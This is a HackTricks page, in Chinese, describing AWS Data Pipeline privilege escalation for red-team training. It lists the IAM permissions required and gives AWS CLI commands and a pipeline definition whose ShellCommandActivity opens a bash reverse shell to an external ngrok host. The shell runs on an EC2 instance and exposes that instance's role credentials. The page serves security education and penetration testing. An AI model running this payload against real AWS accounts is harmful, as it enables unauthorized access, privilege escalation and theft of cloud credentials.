AWS - Datapipeline Privesc

学习并练习 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习并练习 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

datapipeline

有关 datapipeline 的更多信息,请查看:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datappipeline:ActivatePipeline

拥有这些权限的用户可以通过创建数据管道来提升权限,使用分配角色的权限执行任意命令:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

在管道创建之后,攻击者会更新其定义以指定特定操作或资源创建:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

请注意,第14、15和27行中的角色需要是datapipeline.amazonaws.com可假定的角色第28行中的角色需要是ec2.amazonaws.com可假定的带有EC2配置文件实例的角色

此外,EC2实例只能访问可被EC2实例假定的角色(因此您只能窃取该角色)。

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

攻击者精心制作的管道定义文件包含指令,通过AWS API执行命令或创建资源,利用Data Pipeline的角色权限,可能获取额外的特权。

潜在影响: 直接提升至指定的ec2服务角色。

参考

学习并实践AWS Hacking:HackTricks 培训 AWS 红队专家 (ARTE) 学习并实践GCP Hacking:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated